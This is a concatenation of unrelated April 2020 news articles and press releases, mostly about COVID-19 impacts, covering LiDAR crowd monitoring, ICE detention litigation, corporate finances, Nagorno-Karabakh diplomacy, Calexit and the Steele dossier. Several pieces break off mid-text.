COVID-19 pandemic and social distancing directives, Quanergy is working with partners to deploy its Flow Management Platform which accurately measures the location of and distance between people, as well as the number of people in a given location to prevent overcrowding. When the distance between individuals is less than the allowed social distance, or the number of people in an area exceeds a given limit, an alert is issued and personnel may be dispatched. When combined with technology such as thermal cameras, the platform identifies individuals with high-body temperatures, helping curb the spread of the virus. Quanergy's Flow Management Platform also accurately counts people entering and exiting common areas, such as conference rooms, to maintain the desired density of people. "In order for communities and cities to re-open and for the public to feel safe re-entering society, there must be a way to responsibly enforce social distancing," said D. Kevin J. Kennedy, Chairman and CEO of Quanergy. "We believe LiDAR can play a key role in accelerating our return to work and restarting our economy. Quanergy is working closely with our current and new global partners to deploy solutions to instill confidence for businesses and the public in returning to our lives outside our homes." The following examples demonstrate the power of Quanergy's Flow Management Platform as a critical tool to enforce social distancing: Businesses - Control the maximum number of people in common areas such as conference rooms and break rooms, and maintain social distancing. - Control the maximum number of people in common areas such as conference rooms and break rooms, and maintain social distancing. Distribution centers - Guarantee goods delivery while protecting the safety of employees. - Guarantee goods delivery while protecting the safety of employees. Factories - Restart production by ensuring all employees are not exhibiting signs of the virus before entering facilities, including conducting employee temperature checks. - Restart production by ensuring all employees are not exhibiting signs of the virus before entering facilities, including conducting employee temperature checks. Train, Metro stations - Avoid long-queues by replacing turnstiles with contact-less solutions that can accurately keep count of the number of people entering and exiting a station. - Avoid long-queues by replacing turnstiles with contact-less solutions that can accurately keep count of the number of people entering and exiting a station. Buses, trains - Ensure safety on public transit during high-traffic commute hours by tracking and reporting maximum people count. - Ensure safety on public transit during high-traffic commute hours by tracking and reporting maximum people count. Retail, airports, public offices - Reduce wait-time in security lines and automatically dispatch cleaning services to specific areas. Social distancing solutions built upon Quanergy's Flow Management Platform, will soon be available around the world through Quanergy's company partners. For instance: Quantum Labs, based in Australia, has deployed solutions for high profile, globally recognized sites, airports, intersections and high security facilities that are ideal at providing not only social distance monitoring, but also provide significant enhancements to the ongoing security of the site. iCENT, a leading 3D LiDAR-based security and safety platform solution provider in Korea, provides monitoring services through its iSaver technology to predict and prevent human and property damage from safety and security threats at urban and industrial sites and special facilities. CRON Systems, an India-based 3D LiDAR solutions provider, integrates data from thermal temperature cameras allowing accurate tracking of individuals in a zone and highlighting threat levels. Axone, a French integrated security solution provider, is preparing an offer combining different technologies for people management, including temperature detection with thermal cameras, people counting, people tracking, crowd detection, and analytics. iinside, a US based airport motion analytics company, recently released SafeDistance, to monitor and analyzes crowd density in public spaces, such as airports. "Quanergy delivers the best LiDAR platform for generating the iinside motion analytics used by some of the best and largest US airports to manage passenger congestion. Faced with new social distancing guidelines, this same technology is now being applied to enhance passenger safety," said Sam Kamel, President and CEO of iinside. As part of our commitment to facilitate a safe return to the work place, Quanergy is offering a complimentary loaner/license program to qualified partners and end users. To request more information about Quanergy's Flow Management Platform and use for social distancing applications, please contact our sales team. About Quanergy Systems, Inc. Quanergy Systems, Inc. was founded in 2012 and builds on decades of experience of its team in the areas of optics, photonics, optoelectronics, artificial intelligence software, and control systems. Headquartered in Sunnyvale, California, in the heart of Silicon Valley, Quanergy offers a high-performance AI-powered LiDAR platform designed to accelerate the automation of key business processes to increase productivity, efficiency, and safety of our 3D world. By providing actionable insights to organizations across major industries including, mapping, security, smart cities, and smart spaces, industrial automation and transportation, Quanergy is enabling its partners and their end-users to deploy innovative solutions to drive their business growth and ultimately, improve the quality of life for people around the world. For more information, visit www.quanergy.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005957/en/ [ Back To TMCnet.com's Homepage ] Hunger strikers during a sit-in protest April 10 at Mesa Verde ICE Processing Center in Bakersfield. (California Committee for Immigrant Liberation) Two lawyer groups have asked the California Supreme Court for an order barring Gov. Gavin Newsom from continuing to transfer inmates to crowded Immigration and Customs Enforcement detention centers during the coronavirus pandemic. In a lawsuit filed directly with the states highest court, associations of criminal defense and immigration lawyers said California was sending inmates to five ICE detention centers, calling them "virulent incubators of the virus." ICEs abject failure to protect the lives of people in its custody from the deadly COVID-19 is inviting a calamity a public health crisis that will affect not just the detainees, but the surrounding communities and California as a whole, the lawsuit said. The suit said inmates at the detention facilities cannot remain six feet apart and lack access to adequate health care. Some are on a hunger strike. "Californias jails and prisons are continuing to voluntarily transfer individuals to ICE custody in the midst of the pandemic, even though they are not legally required to do so," the suit said. In addition to Newsom, Atty. Gen. Xavier Becerra was named as a defendant. The California Supreme Court set up an expedited schedule for written arguments. California-based foundations for the ACLU are representing the California Attorneys for Criminal Justice and the Southern California chapter of the American Immigration Lawyers Assn. in the case. The transfers from California prisons and jails account for most of ICEs bookings at the detention centers during the pandemic, the suit said. Some of those sent to detention centers, the suit said, had been released early from criminal custody as part of California's efforts to reduce crowding at jails and prisons during the health crisis. "Time is of the essence," the suit said. "Piecemeal litigation in the lower courts is not an option given the dramatic pace at which the crisis is unfolding." Story continues California is a sanctuary state that generally prohibits city and county law enforcement from transferring inmates to ICE without a warrant or notifying ICE of release dates. County jails can transfer immigrants to ICE only after they are eligible for release. Under rules set by the California Department of Corrections and Rehabilitation, prison inmates can be transferred to ICE five days before their scheduled release dates. There are 4,000 immigrants in California's ICE centers, which lack personal protective equipment and proper sanitation, the suit said, adding that "fundamental constitutional rights to life are at stake." Detainees spoke of fear and neglect in sworn declarations presented to the court. Kelvin Hernandez Roman, who was detained in the Adelanto immigration detention facility in San Bernardino County, said he was crammed into a dorm with 70 to 80 people until a court ordered his release days ago. A few weeks ago, he became sick with a fever, cough and body aches but could not get medical help, he said. ICE refused his request for a coronavirus test and medication for his asthma, he said. "The state of Californias continued transfers to ICE at this moment in time is cruel and inhumane," the suit said, "and it defies every effort this state has already made to ebb the spread of the lethal COVID-19." The suit, citing due process rights under both the state and federal constitutions, asked the Supreme Court to issue an order no later than May 4. Spokespersons for Newsom and Becerra were not immediately available for comment. In a press release, Mitsubishi Motors Corporation (MMC) made some revisions to their financial forecast for the 2019 Fiscal Year, and the forecast isn't good. Initially, the company predicted a lower performance in FY2019-2020 compared to FY2018-2019 due to the global dip in demand before COVID-19 but dropped sharply even further due to COVID-19. Well, it seems Alliance member Mitsubishi Motors Corporation has taken the lessons to heart. Remember when Nissan's bosses got blasted at their last stockholder meeting for the bad financial results and for a director riding a Toyota Alphard ? The new MMC forecast for FY2019-2020 represents a larger drop with net sales down by 9.7%, operating profit forecasted to drop by 89.2%, ordinary profit dropping to negative figures, and basic earnings per share dropping to -17.36 JPY. In FY2018-2019, each share earned investors 89.26 yen. Those following the auto industry know that Japanese automakers tend to follow the Fiscal Year system wherein companies count their performance from April 1 to March 31 (i.e. FY2019-2020 is from April 1, 2019, to March 31, 2020) rather than a calendar year. That means by now, MMC should have been able to release the final figures for FY2019-2020, but because COVID-19 has shut down offices for several key markets -the Philippines (with Mitsubishi Motors Philippines) being one of those key markets- MMC has not been able to get the full and final figures due to the unavailability of final audits. In that regard, and in anticipation of the low numbers, MMC has decided to not pay a year-end dividend to stockholders. Mitsubishi Motors said in a statement that they need to urgently stabilize their financial base to restore profitability. In light of that issue (and the undoubtedly huge backlash it would incur from shareholders), Mitsubishi Motors executives have decided to take a big pay cut. Top MMC bosses (Representative Executive Officers, Executive Officers, Corporate Officers) will not be receiving any performance-based compensation (AKA: bonus), and they will all take a 20-30% reduction in base compensation. Non-Executive Directors including Outside Directors will take a pay cut of 10-25%. The pay cut will be effective for the next Fiscal Year. If you recall MMC's biggest stakeholder is Nissan, and during the last shareholders meeting, Nissan's bosses were grilled for being unable to pay dividends and were blasted for not taking a reduction in pay. NEW YORK, April 28, 2020 /PRNewswire/ -- The Global Super Absorbent Polymers Market is expected to grow from USD 8,756.13 Million in 2018 to USD 15,075.26 Million by the end of 2025 at a Compound Annual Growth Rate (CAGR) of 8.07%. Read the full report: https://www.reportlinker.com/p05871543/?utm_source=PRN The positioning of the Global Super Absorbent Polymers Market vendors in FPNV Positioning Matrix are determined by Business Strategy (Business Growth, Industry Coverage, Financial Viability, and Channel Support) and Product Satisfaction (Value for Money, Ease of Use, Product Features, and Customer Support) and placed into four quadrants (F: Forefront, P: Pathfinders, N: Niche, and V: Vital). The report deeply explores the recent significant developments by the leading vendors and innovation profiles in the Global Super Absorbent Polymers Market including are BASF SE, Bayer AG, Evonik Industries, Formosa Plastics Corp, Mitsubishi Chemical Holdings Corporation, LG Chem, Nippon Shokubai Co. Ltd., Sanyo Chemical Industries, SDP Global Co. Ltd, and Sumitomo Seika Chemicals Co. Ltd. On the basis of Type, the Global Super Absorbent Polymers Market is studied across Polyacrylamide Copolymers and Sodium Polyacrylate. On the basis of Application, the Global Super Absorbent Polymers Market is studied across Adult Incontinence Product, Baby Diaper Sector, and Feminine Hygiene Product. For the detailed coverage of the study, the market has been geographically divided into the Americas, Asia-Pacific, and Europe, Middle East & Africa. The report provides details of qualitative and quantitative insights about the major countries in the region and taps the major regional developments in detail. In the report, we have covered two proprietary models, the FPNV Positioning Matrix and Competitive Strategic Window. The FPNV Positioning Matrix analyses the competitive market place for the players in terms of product satisfaction and business strategy they adopt to sustain in the market. The Competitive Strategic Window analyses the competitive landscape in terms of markets, applications, and geographies. The Competitive Strategic Window helps the vendor define an alignment or fit between their capabilities and opportunities for future growth prospects. During a forecast period, it defines the optimal or favorable fit for the vendors to adopt successive merger and acquisitions strategies, geography expansion, research & development, new product introduction strategies to execute further business expansion and growth. Research Methodology: Our market forecasting is based on a market model derived from market connectivity, dynamics, and identified influential factors around which assumptions about the market are made. These assumptions are enlightened by fact-bases, put by primary and secondary research instruments, regressive analysis and an extensive connect with industry people. Market forecasting derived from in-depth understanding attained from future market spending patterns provides quantified insight to support your decision-making process. The interview is recorded, and the information gathered in put on the drawing board with the information collected through secondary research. The report provides insights on the following pointers: 1. Market Penetration: Provides comprehensive information on sulfuric acid offered by the key players in the Global Super Absorbent Polymers Market 2. Product Development & Innovation: Provides intelligent insights on future technologies, R&D activities, and new product developments in the Global Super Absorbent Polymers Market 3. Market Development: Provides in-depth information about lucrative emerging markets and analyzes the markets for the Global Super Absorbent Polymers Market 4. Market Diversification: Provides detailed information about new products launches, untapped geographies, recent developments, and investments in the Global Super Absorbent Polymers Market 5. Competitive Assessment & Intelligence: Provides an exhaustive assessment of market shares, strategies, products, and manufacturing capabilities of the leading players in the Global Super Absorbent Polymers Market The report answers questions such as: 1. What is the market size of Super Absorbent Polymers market in the Global? 2. What are the factors that affect the growth in the Global Super Absorbent Polymers Market over the forecast period? 3. What is the competitive position in the Global Super Absorbent Polymers Market? 4. Which are the best product areas to be invested in over the forecast period in the Global Super Absorbent Polymers Market? 5. What are the opportunities in the Global Super Absorbent Polymers Market? 6. What are the modes of entering the Global Super Absorbent Polymers Market? Read the full report: https://www.reportlinker.com/p05871543/?utm_source=PRN About Reportlinker ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place. __________________________ Contact Clare: [email protected] US: (339)-368-6001 Intl: +1 339-368-6001 SOURCE Reportlinker Related Links www.reportlinker.com The only difference between the April 21 meeting and the previous rounds of talks to resolve the Nagorno-Karabakh conflict was its remote order, said Azerbaijani FM Elmar Mammadyarov in an interview with minval.az. His remarks came in response to comment on a video conference with the Armenian FM Zohrab Mnatsakanyan and the OSCE Minsk Group co-chairs. The Azerbaijani side supports substantive and result-oriented talks to resolve the conflict and has always said that Azerbaijan will use them while the possibilities of a peaceful settlement are being examined. At the same time, its quite obvious: referring to both the supreme law of our state and international law, Azerbaijan has every right to restore its territorial integrity by all means within its internationally recognized borders, as recorded in the UN Charter, the Helsinki Final Act, The Paris Charter, and the well-known UN Security Council resolutions, he added. Before the meeting, Russian FM Sergei Lavrov expressed his position on a phased settlement of the conflict, which for many years has been the subject of discussion and is reflected in the statements of the co-chairs, he said. As the FM noted, in turn, the Armenian FM voiced a remark that the issue of returning lands was not considered, and also touched upon the issues of security and the principle of self-determination of peoples. He made this rhetorical attack to calm the internal audience, the Azerbaijani FM said. According to Mammadyarov, if you ask what the Azerbaijani MFA has done in this regard, the Azerbaijani side has shown that it does not differ in word and deed, its position is unchanged, and its only goal is to free the internationally recognized territories and restore the rights of the internally displaced persons. "In other words, the occupying country has so far voiced many statements, completely groundless, misleading, and aimed at deceiving the international community," the FM said. "Feeling driven into a dead-end in the framework of the negotiation process, Armenia is taking steps to disrupt it, carrying out provocations. This is what they want to achieve - to damage the negotiation process while shifting responsibility to Azerbaijan." Based on the logic of the Armenian side, the ministers of the two countries and the co-chairs representing the three permanent members of the UN Security Council, as well as the ministers of the co-chairs participating in this process have nothing more to do than come to meetings for a cup of tea. Talks are known to be confidential. Their details were not disclosed, but the general framework of talks to this day has already been outlined by the co-chairs, as well as in statements at the level of the leaders of the co-chairing countries," the FM noted. "All of them reflected elements of a phased settlement of the conflict, that is, a step-by-step elimination of the consequences of the conflict, where the initial stage was the liberation of the occupied territories around Nagorno-Karabakh, the return of Azerbaijanis expelled from these territories, and the opening of communications between Azerbaijan and Armenia," he said. "It is supposed to provide conditions for the joint residence of both communities of the Nagorno-Karabakh region for some time, with consideration at subsequent stages of the status of the region in the framework of observing the territorial integrity of Azerbaijan." Asked to comment whether diplomacy in Karabakh has a chance, the Azerbaijani FM said: As a person who has been directly involved in negotiations for many years, I personally believe that there is an opportunity to resolve the conflict through talks, it is only necessary that the parties demonstrate a political the will." "Look, we have experienced the devastation and losses that war can bring, we are well aware of the progress that peace can bring to the region if the conflict is resolved, and we know what the norms and principles of international law require. It is impossible to talk either about security without eliminating the factor of occupation or about human rights without restoring the fundamental rights of hundreds of thousands of people. If we want peace, security, normal good neighborly relations and, eventually, progress, then the grave consequences of the conflict I have indicated must be eliminated, and states must respect each other's territorial integrity within their internationally recognized borders. There is no other formula for the world." Gov. Gavin Newsom repeatedly calls California a nation-state, employing a phrase not used by any other governor in memory. President Trump mocks the federal system, first saying emergency responses are up to individual state governors, not the central government, and then saying the opposite, that he has total authority. He first suggests that medical suppliers ignore orders from states whose governors dont treat us right and then claims hes taking care of everyone. These are new things in America. They could enlarge the existing, very small movement for a Calexit, secession from the union by California, progenitor of the worlds fifth-largest economy. For sure, pandemics dont happen often, but when they become devastatingly large, they can dramatically change the course of human history. So it was when the Antonine Plague of 165 AD killed over 5 million persons and decimated the Roman army, leading to the first barbarian victories over that empires vaunted legions. Thomas D. Elias: California once again acting like a country of its own California is acting a lot like a nation-state right now, even as it tries to fend off one attempt after another by the Donald Trump administration to reduce its autonomy, from controlling air quality to dealing with wildfires and the homeless. It happened again with the Bubonic Plague of 1347 to 1353, which many historians say delayed the Renaissance a century by killing off many young artists and politicians whose work hinted at what actually came about 100 years later. Smallpox killed off most American Indians, making it far easier for white Europeans to spread across this continent. No one can be sure todays coronavirus pandemic will have similarly historic effects. But so far, it has killed more than 35,000 Americans, the number growing from moment to moment. Speculation abounds on how the pandemic might change this country. For example, the ApartmentList website, closely tracking national housing trends, predicts rents will fall and the long pattern of urbanization will pause. Theres also a possibility coupling the virus and President Trumps style of leadership as it rages might even alter Americas continental borders, static since the Civil War. The Yes, California! organization tried and failed to put a preliminary secession ballot initiative on the 2018 midterm election ballot. Had it gotten a vote, and won, it might have led to an actual vote on this state going its own way. Now that movements current prime organizer, Marcus Ruiz Evans of Fresno, reports that his and other blogs are seeing unusual numbers of pro-secession posts from individuals not linked to the movement. Ruiz says often Trump gives his movement impetus, even though he tends to walk back many of his pronouncements within hours or days. Trump has already talked about cutting off travel to and from California, Ruiz said. Then he threatened to cut off parts of New York, New Jersey and Connecticut with a strictly-enforced quarantine letting nothing and nobody move in or out of that area for two weeks. He backed off the Tri-State quarantine after Democratic New York Gov. Andrew Cuomo said it would be a declaration of war on his state. Thomas D. Elias: Resistance doomed? Secession move could result The pro-secession Yes California group will start circulating initiative petitions late this month for a measure called The California Self Determination Act. It demands a popular referendum on May 4, 2021 asking voters if they want the state to become independent. Gavin Newsom hasnt used words as strong as those, but took this state on a path starkly different than any Trump previously recommended. And when Trump suggested that businesses, churches and individuals return to normal life by April 12, Easter Sunday, one normally conservative California columnist suggested California should instantly declare independence if Trump did that. Trump backed off that idea, too. For sure, Trumps inconsistent, ego-driven leadership style in this crisis promoted a rift between states and the federal government, one that secessionist Ruiz may try to exploit. Everyone in the Calexit movement would agree that the only way to guarantee the proper government reaction to this crisis would be for California to have full control over its resources and borders, he said. We think Californians know that already, but just wont say it publicly. We think the governor is already aware that his people think that way. He just wont say it blatantly. Thomas D. Elias: The dangerous constitutional convention measure The California ballot has seen plenty of dangerous propositions over the years, and yet another one may face voters wherever they cast votes n In fact, when asked about Calexit during an interview while he was a candidate in 2018, Newsom adamantly opposed secession. But, says Ruiz, weve seen the pickup in people talking about secession (on social media) and then thousands of other Californians liking their posts. Plainly, it may be years before the full after-effects of the coronavirus are known. One of those just might be a California future vastly different from its past and present. Thomas D. Elias writes the syndicated California Focus column. He is author of the book, The Burzynski Breakthrough: The Most Promising Cancer Treatment and the Governments Campaign to Squelch It. - Bishop David Kodia said faith-based organisations were absolutely reliant on their congregations for money which they remitted to KRA - The cleric said being that churches were closed due to the pandemic, most did not have money - Kodia said their employees were also on unpaid leave and the taxman should not expect taxes from churches - The bishop further said Kenyans were going through traumatic experiences due to the pandemic and needed trained counsellors and pastoral care The Bondo Anglican Church of Kenya (ACK) Diocese Bishop David Kodia has warned the Kenya Revenue Authority (KRA) against expecting any taxes from churches. Kodia said it was practical mockery for the taxman to expect faith-based organisations to remit the Pay As You Earn (PAYE) taxes for their staffers who were on unpaid leave due to COVID-19 pandemic. READ ALSO: Vera Sidika hosts lavish barbecue party at her Runda estate alongside comedian Eric Omondi Bishop Kodia said churches did not have any money since fellowships had been banned. Photo: Daily Nation. Source: UGC READ ALSO: Panic as quarantined Kenyans threaten to jump from three-storey building at KU hospital According to Daily Nation, the cleric said churches were completely reliant on monies from their congregants and being that church fellowships had been banned, they did not have any finances. "Most of our employees are not working. As a church, we depend on our congregations for money even the one we give to KRA," he said. "KRA should know that it should not expect a single coin from most churches as long as the situation persists," he added. READ ALSO: Mwimbaji Ruth Matete kusubiri kwa muda mrefu kabla ya kumzika mumewe The cleric said KRA should not expect a coin from churches. Photo: Daily Nation. Source: UGC Kodia, nonetheless, lauded the government's move to lower the PAYE tax rates and stated his church would remit KSh 200,000 to the revenue authority every month before the pandemic. The bishop also said Kenyans needed the church in this unprecedented time especially since most of them were traumatised. "People are going through traumatic experiences and they need trained counsellors and pastoral care," Kodia said. This unfolded at a time when all churches remained closed due to the COVID-19 pandemic. File photo. Churches were closed to limit the spread of COVID-19. Photo: UGC. Source: UGC The government banned all gatherings in churches and mosques in line with social distancing requirements. Clerics, however, have been urging the government to open churches with many saying they were ready to adhere to all directives. A little over two weeks ago, a Kakamega pastor appealed to President Uhuru Kenyatta to review the government ban on social gathering in places of worship. Apostle James Mabwa of Victory Gospel Apostolic said it was such a time of difficulty that mankind had no choice but to turn to God so as to win the war against coronavirus. Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly. He was married to another woman for ten years and I had no idea - Angela Nzilani |Tuko Talks| Tuko TV Source: TUKO.co.ke Toronto, Ontario--(Newsfile Corp. - April 28, 2020) - Canuc Resources Corporation (TSXV: CDA) ("Canuc" or the "Company") announces that due to the COVID-19 pandemic, the Company intends to postpone the filing of its annual consolidated financial statements and accompanying management's discussion and analysis and related CEO and CFO certificates for the financial period ended December 31, 2019 (collectively, the "Annual Filings"), which are required to be filed by April 29, 2020, under Sections 4.2 and 5.1(2) of National Instrument 51-102 - Continuous Disclosure Obligations. On March 18, 2020, the Canadian Securities Administrators (CSA) announced a blanket provision which provided issuers with a 45-day filing extension for filings required on or before June 1, 2020. This extension was to allow issuers the time needed to focus on the many other business and financial reporting implications of the COVID- 19 pandemic. The Company will rely on this exemption with respect to the Annual Filings in accordance with OSC Instrument 51-502 - Temporary Exemption from Certain Corporate Finance Requirements. The Company is continuing to work diligently and expeditiously to file the Annual Filings and currently expects to have them filed on or prior to the extended filing deadline of June 15, 2020. Until the Annual Filings are filed, management and other insiders of the Company are subject to a trading black-out policy that reflects the principles in section 9 of National Policy 11-207 - Failure to-File Cease Trade Orders and Revocations in Multiple Jurisdictions. The Company confirms that since the filing of its condensed consolidated interim financial statements for the period ended September 30, 2019, there have been no material business developments other than those that have been publicly disclosed as required under applicable securities laws. About Canuc Canuc is a junior resource company holding the San Javier Silver-Gold Project in Sonora State, Mexico. The Company generates cash flow from natural gas production at its MidTex Energy Project in Central West Texas, USA where Canuc has an interest in eight producing gas wells and has rights for further in field developments. Canuc also has exclusive rights, through a Partnership Agreement with Ioticiti Networks Inc., to sell Industrial IoT applications and infrastructure in the Provinces of Alberta and Saskatchewan, Canada and in the State of Texas, USA. For further information please contact: Canuc Resources Corporation. (416) 525 - 6869 cberlet@canucresources.ca Forward Looking Information This news release contains forward-looking information. All information, other than information of historical fact, constitute "forward-looking statements" and includes any information that addresses activities, events or developments that the Corporation believes, expects or anticipates will or may occur in the future including the Corporation's strategy, plans or future financial or operating performance. When used in this news release, the words "estimate", "project", "anticipate", "expect", "intend", "believe", "hope", "may" and similar expressions, as well as "will", "shall" and other indications of future tense, are intended to identify forward-looking information. The forward-looking information is based on current expectations and applies only as of the date on which they were made. The factors that could cause actual results to differ materially from those indicated in such forward-looking information include, but are not limited to, the ability of the Corporation to fund the exploration expenditures required under the Agreement. Other factors such as uncertainties regarding government regulations could also affect the results. Other risks may be set out in the Corporation's annual financial statements, MD&A and other publicly filed documents. The Corporation cautions that there can be no assurance that forward-looking information will prove to be accurate, as actual results and future events could differ materially from those anticipated in such information. Accordingly, investors should not place undue reliance on forward-looking information. Except as required by law, the Corporation does not assume any obligation to release publicly any revisions to forward-looking information contained in this press release to reflect events or circumstances after the date hereof. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/55029 Then FBI Acting Director Andrew McCabe listens during a Senate Intelligence Committee hearing on Capitol Hill in Washington on June 7, 2017. (Alex Brandon/AP Photo) Graham Requests More Documents After Footnotes Show Steeles Dossier May Contain Russian Disinformation Lindsey Graham (R-S.C.), the chairman of the U.S. Senate Judiciary Committee, has demanded the Department of Justice (DOJ) provide more documents related to Christopher Steeles sources, including one primary source. Grahams move came after a newly-declassified footnote (pdf) shows one of Steeles sources had informed the FBI back on Jan. 12, 2017, that Steeles dossier was possibly tainted by disinformation from Russia. The FBI was informed by a source that Steele, a former British intelligence officer and the author of the dossier, had frequent contacts with Russian oligarchs, which raised concerns at the bureaus Transnational Organized Crime Intelligence Unit, the footnote indicated. In addition to the information in Steeles Delta file documenting Steeles frequent contacts with representatives of Russia oligarchs, we identified reporting the Crossfire Hurricane team received from [redacted] indicating the potential for Russia disinformation influencing Steeles election reporting, reads the now declassified footnote 350 on page 197 of DOJ Inspector General (IG) Michael Horowitzs report released on Dec. 9, 2019. A January 12, 2017, report relayed information from [redacted] outlining an inaccuracy in a limited subset of Steeles reporting about the activities of Michael Cohen. The [redacted] stated that it did not have high confidence in this subset of Steeles reporting and assessed that the referenced subset was part of a Russian disinformation campaign to denigrate U.S. foreign relations, reads the footnote. The DOJ released the footnotes in response to a request by Sen. Ron Johnson (R-Wis.) and Chuck Grassley (R-Iowa). In an investigation codenamed Crossfire Hurricane, the FBI obtained a Foreign Intelligence Surveillance Act (FISA) warrant to spy on Trump 2016 presidential campaign adviser Carter Page. The application was filed on Oct. 21, 2016, and renewed three times on Jan. 12, April 7, and June 29, 2017. The April 2017 warrant renewal application was approved by then-Acting FBI Director Andrew McCabe and former Deputy Attorney General Rod Rosenstein. Former FBI Director James Comey approved the April 2017 warrant application. The last two renewal applications were determined by the DOJ to be not valid, according to an unclassified order (pdf) released by Presiding FISA Court Judge James Boasberg. FBI Director James Comey before House Oversight and Government Reform Committee on Capitol Hill on July 7, 2016. (Alex Wong/Getty Images) Steeles dossier, which alleged collusion between the presidential campaign of then-candidate Donald Trump and the Russian government to sway the 2016 presidential election, played a crucial role in the FISA warrant applications. The dossier was funded by Hillary Clintons 2016 campaign and the Democratic National Committee. The Crossfire Hurricane investigation was ultimately unable to establish any such collusion. Former DOJ Special Counsel Robert Mueller also found insufficient evidence to establish that Trump, or anyone from his campaign, colluded with Russia. The IG Report (pdf) focused on abuses of the FISA process. The IGs findings showed numerous problems with the actions taken by FBI agents in obtaining the FISA warrant used to spy on Page. Horowitz identified at least 17 significant errors or omissions in the Carter Page FISA applications, and many additional errors in the Woods Procedures. Justice Department Inspector General Michael Horowitz testifies at a hearing on Capitol Hill in Washington, on Dec. 11, 2019. (Saul Loeb/AFP/Getty Images) Another declassified footnote suggests that a source identified as a Primary Sub-source in the IG report may not qualify as a source. When interviewed by the FBI, the Primary Sub-source stated that he/she did not view his/her contacts as a network of sources, [redacted] with whom he/she has conversations about current events and government relations, read footnote 334 on page 186. Steele relied on the Primary Sub-source for information. The latter used a network of sub-sources to gather the information, the IG report said. Steele didnt disclose the identity of the Primary Sub-source to the FBI. Grahams requested documents relate to both footnotes. In an April 20 letter (pdf) to Attorney General William Barr, Graham asked the DOJ to provide all documents and communications related to the FBIs interviews with the Primary Sub-source in January, March, and May 2017. He also demanded the complete Feb. 15, 2017, email exchange between then-FBI agent Peter Strzok, the former head of FBI counterintelligence Bill Priestap, and others. Strzok stated in the email that recent interviews and investigation, however, reveal [Steele] may not be in a position to judge the reliability of his sub-source network. As the Committee continues to investigate this and other abuses related to FISA coverage on Carter Page, it is important that the Committee have access to the documents, Graham wrote in the letter. Sen. Lindsey Graham (R-S.C.) speaks to media during a break in impeachment proceedings, in the Senate subway area in the Capitol in Washington on Jan. 28, 2020. (Charlotte Cuthbertson/The Epoch Times) According to one of the unredacted footnotes, the FBI was warned of Russian disinformation back on Jan. 12, 2017, the same day the FBI filed the first renewal application for the Carter Page FISA warrant. That contradicts what Priestap told the IG. Priestap told the IG that the FBI wasnt aware of any Russian disinformation in the dossier by May 2017 when the investigation was transferred to Mueller. Priestap told us that the FBI didnt have any indication whatsoever by May 2017 that the Russians were running a disinformation campaign through the Steele election reporting, the IG stated. This is not the only circumstance where the FBI was warned of possible Russian disinformation in Steeles dossier. Unredacted footnote 302 on page 164 of the IG Report shows that a document circulated among members of the Crossfire Hurricane team in early October 2016 showing that Person 1, a sub-source Steele relied on, had historical contact with persons and entities suspected of being linked to RIS (Russian Intelligence Services). The document described reporting that Person 1 was rumored to be a former KGB/SVR officer. Another footnote also shows that DOJ attorney Bruce Ohr told a supervisor of the Crossfire Hurricane investigation SSA 1 in late December 2016 that Person 1 was reportedly a RIS officer central in connecting President Trump to Russia. SSA 1 was later identified as FBI Supervisory Special Agent Joe Pientka. Ivan Pentchoukov and Petr Svab contributed to the report. 100 Years Ago 1920: Every effort is being put forth to make next Saturday a day of stirring patriotism and civic pride. It is American Day and is to be marked here by the unveiling of a tablet in honor of the members of the Chester Fire Department who saw service in the World War. A liberal display of flags and bunting at business houses and homes is requested, with nothing suggestive of half-heartedness in the proposition. 75 Years Ago 1945: The eviction of Delaware Countys first woman mailcarrier, mother of eight children, was temporarily stayed yesterday in county court. Dorothea B. Wright, postmistress of the Morton Post Office, appealed to the court on behalf of one of her mail carriers, Elsie Smith, of 210 Pennington Avenue, Morton, that the rent had been paid up to date. Judge Albert Dutton MacDade asked Sheriff Raymond Munson to investigate the matter and in a few hours her furniture was back in the house with an understanding that the matter would be settled following a conference Monday. 50 Years Ago 1970: Several hundred dollars worth of liquor was stolen Monday from the Central Rest and Recreation Club, 513 W. Third St., Chester. Gilbert Waples, 75, manager of the club, said he discovered the burglary when he went to clean up around 12:30 p.m. with Ollie Pierce, 69, one of the club trustees. Waples said the club was closed at 3:20 a.m. Monday. Some $40 in change was taken from the jukebox, $6 from a second floor desk forced open, an undermined amount of cigarettes and change from a cigarette machine, and a public phone was stolen. 25 Years Ago 1995: Two Strath Haven students, Samantha Kors and Peter Tiberini, will join eight other Delco students from Region 6 in Pittsburgh this weekend for the All-State High School Band, Orchestra and Chorus concert. Kors will be a second soprano in the chorus, and Tiberini will play trumpet with the band. Scott Litzenberg of Upper Darby High is the Pennsylvania Music Education Association coordinator of district and regional competitions through which the all-state musicians are chosen. 10 Years Ago 2010: About 40 Chester High School students and 50 students Chester Education Foundations Reconnecting Youth program planted 35 trees around the high school property Tuesday. The belated Earth Day celebration was part of the Pennsylvania Horticultural Societys Urban Forestry Campus Community Program. Junior Anthony Davis, 17 called it quite astonishing. I like the fact that I can come back years later and sit under my tree, maybe, he said. COLIN AINSWORTH Rohit Kapur Much has been written about the economic fallout of the COVID-19 situation, and how it is going to impact the growth of the Indian economy and the job situation in the coming times. One thing is for sure; no one is going to escape the impact of this pandemic! The aviation, hospitality and travel and tourism industries are going to be the most severely affected and will take the longest time to get back on its feet, as per most experts. These sectors are staring at phenomenal job losses, with large scale distress all around. However, as with every adverse situation, there will be opportunities and new ways of doing business, which need to be considered. The business aviation industry: An overview All aircraft and helicopters being used by air charter companies operating under a Non-Scheduled Operators Permit (NSOP). All aircraft and helicopters being used by business houses for the transportation of their own management and employees in the private category. Smaller aircraft being used by individuals who are owner-pilots. These are extremely limited in number, hence not discussed here any further. In India, business aviation consists of the following: Effect of COVID-19 pandemic The charter companies COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; 